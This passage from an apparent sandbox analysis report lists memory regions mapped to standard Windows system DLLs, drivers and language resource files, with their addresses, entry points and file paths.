0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6260 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6261 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6262 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6263 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6264 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6265 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6266 start_va = 0x196ee9e0000 end_va = 0x196ee9fcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fwpuclnt.dll.mui" filename = "\\Windows\\System32\\en-US\\fwpuclnt.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fwpuclnt.dll.mui") Region: id = 6267 start_va = 0x196ef3b0000 end_va = 0x196ef416fff monitored = 0 entry_point = 0x196ef3b63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 6268 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 6269 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x196ef3f5b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 6270 start_va = 0x196ee9e0000 end_va = 0x196ee9e3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "pnrpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\pnrpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\pnrpsvc.dll.mui") Region: id = 6271 start_va = 0x196ef3b0000 end_va = 0x196ef409fff monitored = 0 entry_point = 0x196ef3f5b00 region_type = mapped_file name = "pnrpsvc.dll" filename = "\\Windows\\System32\\pnrpsvc.dll" (normalized: "c:\\windows\\system32\\pnrpsvc.dll") Region: id = 6272 start_va = 0x196ee9e0000 end_va = 0x196ee9e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 6273 start_va = 0x196ef3b0000 end_va = 0x196ef491fff monitored = 0 entry_point = 0x196ef40d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 6274 start_va = 0x196ee9e0000 end_va = 0x196ee9e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "azroles.dll.mui" filename = "\\Windows\\System32\\en-US\\azroles.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\azroles.dll.mui") Region: id = 6275 start_va = 0x196ef3b0000 end_va = 0x196ef491fff monitored = 0 entry_point = 0x196ef40d100 region_type = mapped_file name = "azroles.dll" filename = "\\Windows\\System32\\azroles.dll" (normalized: "c:\\windows\\system32\\azroles.dll") Region: id = 6276 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 6277 start_va = 0x196ef3b0000 end_va = 0x196ef493fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 6278 start_va = 0x196ee9e0000 end_va = 0x196eea08fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll.mui" filename = "\\Windows\\System32\\en-US\\FXSRESM.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\fxsresm.dll.mui") Region: id = 6279 start_va = 0x196ef3b0000 end_va = 0x196ef493fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fxsresm.dll" filename = "\\Windows\\System32\\FXSRESM.dll" (normalized: "c:\\windows\\system32\\fxsresm.dll") Region: id = 6280 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 6281 start_va = 0x196ef3b0000 end_va = 0x196ef442fff monitored = 0 entry_point = 0x196ef429000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 6282 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "afd.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\afd.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\afd.sys.mui") Region: id = 6283 start_va = 0x196ef3b0000 end_va = 0x196ef442fff monitored = 0 entry_point = 0x196ef429000 region_type = mapped_file name = "afd.sys" filename = "\\Windows\\System32\\drivers\\afd.sys" (normalized: "c:\\windows\\system32\\drivers\\afd.sys") Region: id = 6284 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 6285 start_va = 0x196ef3b0000 end_va = 0x196ef450fff monitored = 0 entry_point = 0x196ef443000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 6286 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "fvevol.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\fvevol.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\fvevol.sys.mui") Region: id = 6287 start_va = 0x196ef3b0000 end_va = 0x196ef450fff monitored = 0 entry_point = 0x196ef443000 region_type = mapped_file name = "fvevol.sys" filename = "\\Windows\\System32\\drivers\\fvevol.sys" (normalized: "c:\\windows\\system32\\drivers\\fvevol.sys") Region: id = 6302 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6303 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6304 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6305 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6306 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6307 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6308 start_va = 0x196ee9e0000 end_va = 0x196ee9eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "spaceport.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\spaceport.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\spaceport.sys.mui") Region: id = 6309 start_va = 0x196ef3b0000 end_va = 0x196ef435fff monitored = 0 entry_point = 0x196ef421000 region_type = mapped_file name = "spaceport.sys" filename = "\\Windows\\System32\\drivers\\spaceport.sys" (normalized: "c:\\windows\\system32\\drivers\\spaceport.sys") Region: id = 6310 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6311 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6312 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6313 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6314 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6315 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6316 start_va = 0x196ee9e0000 end_va = 0x196ee9e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cscsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\cscsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\cscsvc.dll.mui") Region: id = 6317 start_va = 0x196ef3b0000 end_va = 0x196ef467fff monitored = 0 entry_point = 0x196ef3b1d30 region_type = mapped_file name = "cscsvc.dll" filename = "\\Windows\\System32\\cscsvc.dll" (normalized: "c:\\windows\\system32\\cscsvc.dll") Region: id = 6318 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6319 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6320 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6321 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6322 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6323 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6327 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6328 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6329 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6330 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6331 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6332 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6333 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6334 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6335 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6336 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6337 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6338 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6339 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6340 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6341 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6342 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6343 start_va = 0x196ee9e0000 end_va = 0x196ee9ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "iphlpsvc.dll.mui" filename = "\\Windows\\System32\\en-US\\iphlpsvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\iphlpsvc.dll.mui") Region: id = 6344 start_va = 0x196ef3b0000 end_va = 0x196ef4a2fff monitored = 0 entry_point = 0x196ef3d5d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 6345 start_va = 0x196ee9e0000 end_va = 0x196ee9eefff monitored = 0 entry_point = 0x196ee9e36e0 region_type = mapped_file name = "dmvsc.sys" filename = "\\Windows\\System32\\drivers\\dmvsc.sys" (normalized: "c:\\windows\\system32\\drivers\\dmvsc.sys") Region: id = 6346 start_va = 0x196ee9f0000 end_va = 0x196ee9f1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dmvsc.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\dmvsc.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\dmvsc.sys.mui") Region: id = 6347 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6348 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6349 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6350 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6351 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6352 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6353 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6354 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6355 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6356 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6357 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6358 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6359 start_va = 0x196ee9e0000 end_va = 0x196ee9fafff monitored = 1 entry_point = 0x196ee9e1190 region_type = mapped_file name = "servicemodelperformancecounters.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ServiceModelPerformanceCounters.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\servicemodelperformancecounters.dll") Region: id = 6360 start_va = 0x196eea00000 end_va = 0x196eea0bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "servicemodelperformancecounters.dll.mui" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\en-US\\ServiceModelPerformanceCounters.dll.mui" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\en-us\\servicemodelperformancecounters.dll.mui") Region: id = 6361 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 6362 start_va = 0x196ef3b0000 end_va = 0x196ef4befff monitored = 0 entry_point = 0x196ef3ec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 6363 start_va = 0x196ee9e0000 end_va = 0x196ee9e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "dosvc.dll.mui" filename = "\\Windows\\System32\\en-US\\dosvc.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\dosvc.dll.mui") Region: id = 6364 start_va = 0x196ef3b0000 end_va = 0x196ef4befff monitored = 0 entry_point = 0x196ef3ec010 region_type = mapped_file name = "dosvc.dll" filename = "\\Windows\\System32\\dosvc.dll" (normalized: "c:\\windows\\system32\\dosvc.dll") Region: id = 6365 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6366 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6367 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6368 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6369 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6370 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6371 start_va = 0x196ee9e0000 end_va = 0x196ee9f5fff monitored = 0 entry_point = 0x196ee9e3630 region_type = mapped_file name = "umpoext.dll" filename = "\\Windows\\System32\\umpoext.dll" (normalized: "c:\\windows\\system32\\umpoext.dll") Region: id = 6372 start_va = 0x196eea00000 end_va = 0x196eea01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "umpoext.dll.mui" filename = "\\Windows\\System32\\en-US\\umpoext.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\umpoext.dll.mui") Region: id = 6373 start_va = 0x196ee9e0000 end_va = 0x196ee9f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = "\\Windows\\System32\\drivers\\en-US\\tcpip.sys.mui" (normalized: "c:\\windows\\system32\\drivers\\en-us\\tcpip.sys.mui") Region: id = 6374 start_va = 0x196ef3b0000 end_va = 0x196ef606fff monitored = 0 entry_point = 0x196ef5bce10 region_type = mapped_file name = "tcpip.sys" filename = "\\Windows\\System32\\drivers\\tcpip.sys" (normalized: "c:\\windows\\system32\\drivers\\tcpip.sys") Region: id = 6375 start_va = 0x196ee9e0000 end_va = 0x196ee9f6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tcpip.sys.mui" filename = 